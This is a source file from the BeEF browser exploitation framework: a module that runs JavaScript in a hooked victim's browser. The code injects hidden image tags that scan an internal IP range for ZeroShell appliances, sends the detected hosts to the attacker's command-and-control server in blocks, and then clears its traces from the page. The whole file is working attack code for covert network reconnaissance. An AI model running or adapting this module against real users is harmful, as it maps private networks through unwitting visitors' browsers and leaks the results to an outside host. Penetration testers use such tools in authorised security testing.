Path: blob/master/modules/exploits/zeroshell/zeroshell_2_0rc2_scanner/command.js
1154 views
//1// Copyright (c) 2006-2025 Wade Alcorn - [email protected]2// Browser Exploitation Framework (BeEF) - https://beefproject.com3// See the file 'doc/COPYING' for copying permission4//56var imgPath = "/kerbynet/Zeroshell.gif"; // fingerprint img to detect a ZeroShell instance7var ip_start = '<%= @ip_start %>'; // IP start range8var ip_end = '<%= @ip_end %>'; // IP end range9var timeout = '<%= @timeout %>'; // Timeout in ms to wait beetween each bloc scan and results sent to BeEF C&C (default 30000ms)10var ip_bloc = '<%= @ip_bloc %>'; // Size of each IP bloc to scan (default 100)1112// Function added to convert string IPv4 to long13function ip2long(IP) {14// discuss at: http://phpjs.org/functions/ip2long/15// original by: Waldo Malqui Silva (http://waldo.malqui.info)16// improved by: Victor17// revised by: fearphage (http://http/my.opera.com/fearphage/)18// revised by: Theriault19// example 1: ip2long('192.0.34.166');20// returns 1: 322123434221// example 2: ip2long('0.0xABCDEF');22// returns 2: 1125937523// example 3: ip2long('255.255.255.256');24// returns 3: false2526var i = 0;27// PHP allows decimal, octal, and hexadecimal IP components.28// PHP allows between 1 (e.g. 127) to 4 (e.g 127.0.0.1) components.29IP = IP.match(30/^([1-9]\d*|0[0-7]*|0x[\da-f]+)(?:\.([1-9]\d*|0[0-7]*|0x[\da-f]+))?(?:\.([1-9]\d*|0[0-7]*|0x[\da-f]+))?(?:\.([1-9]\d*|0[0-7]*|0x[\da-f]+))?$/i31); // Verify IP format.32if (!IP) {33// Invalid format.34return false;35}36// Reuse IP variable for component counter.37IP[0] = 0;38for (i = 1; i < 5; i += 1) {39IP[0] += !! ((IP[i] || '')40.length);41IP[i] = parseInt(IP[i]) || 0;42}43// Continue to use IP for overflow values.44// PHP does not allow any component to overflow.45IP.push(256, 256, 256, 256);46// Recalculate overflow of last component supplied to make up for missing components.47IP[4 + IP[0]] *= Math.pow(256, 4 - IP[0]);48if (IP[1] >= IP[5] || IP[2] >= IP[6] || IP[3] >= IP[7] || IP[4] >= IP[8]) {49return false;50}51return IP[1] * (IP[0] === 1 || 16777216) + IP[2] * (IP[0] <= 2 || 65536) + IP[3] * (IP[0] <= 3 || 256) + IP[4] * 1;52}5354// Function added to convert long to string IPv455function long2ip(ip) {56// discuss at: http://phpjs.org/functions/long2ip/57// original by: Waldo Malqui Silva (http://waldo.malqui.info)58// example 1: long2ip( 3221234342 );59// returns 1: '192.0.34.166'60if (!isFinite(ip))61return false;62return [ip >>> 24, ip >>> 16 & 0xFF, ip >>> 8 & 0xFF, ip & 0xFF].join('.');63}6465var ip_from_long = ip2long(ip_start); // Convert string IPv4 start range to long66var ip_to_long = ip2long(ip_end); // Convert string IPv4 end range to long6768beef.execute(function() {69var result = ""; // Buffer to retrieve results70var div = document.createElement('div'); // Hidden div container71div.setAttribute('style', 'display:none;');72document.body.appendChild(div);7374add = function(data){75result += data + " ";76}7778// Scan function to inject <img> markups in victim's DOM.79// This function is recalled by herself to scan each IP bloc of the IP range defined80scan = function(){81var i = 0; // Counter compared to IP bloc size82var ip_from_long_bloc = ip_from_long; // Save the begining IPv4 address for the current bloc83beef.debug("[ZeroShell_2.0RC2_scanner] Scan the subnet block from " + long2ip(ip_from_long) + " to " + long2ip(ip_to_long) + ".");84while((ip_from_long <= ip_to_long) && (i < ip_bloc)){85var img = document.createElement('img');86var ip = long2ip(ip_from_long);87img.setAttribute('src', "http://" + ip + imgPath); // Payload to detect ZeroShell instance88img.setAttribute('onload', "add('" + ip + "');"); // Event triggered of ZeroShell is detected89div.appendChild(img); // Add current <img> markup to the hidden div in the victim's DOM90ip_from_long++; // Increment long IPv491i++;92}93var ip_to_long_bloc = ip_from_long; // Save the ending IPv4 address for the current bloc9495// Function to return results of the current bloc scanned to BeEF C&C, after "timeout" ms waited.96getResult = function(){97if(result.trim() != "")98beef.net.send("<%= @command_url %>", <%= @command_id %>, "Result= Bloc [" + long2ip(ip_from_long_bloc) + " - " + long2ip(ip_to_long_bloc-1) + "] ZeroShell(s) detected : [ " + result + "]", beef.are.status_success());99else100beef.net.send("<%= @command_url %>", <%= @command_id %>, "Result= Bloc [" + long2ip(ip_from_long_bloc) + " - " + long2ip(ip_to_long_bloc-1) + "] No ZeroShell detected on that IP range bloc...", beef.are.status_unknown());101div.innerHTML = ""; // Clean the current DOM's div102result = ""; // Clear the result of the bloc tested for the next loop103}104setTimeout("getResult()", timeout); // Wait "timeout" ms before sending results to BeEF C&C of the current bloc.105if(ip_from_long <= ip_to_long) // While we don't have test all IPv4 in the range106setTimeout("scan()", timeout*1.5); // Re-call the scan() function to proceed with the next bloc107else // We have reach the last IP address to scan108setTimeout(function(){ // Clear the victim's DOM and tell to BeEF C&C that the scan is complete109document.body.removeChild(div);110beef.net.send("<%= @command_url %>", <%= @command_id %>, "Result= Scan is complete on the defined range [" + ip_start + " - " + ip_end + "] (DOM cleared)", beef.are.status_success());111}, timeout*2);112}113114scan(); // Run the first bloc scan115});116117118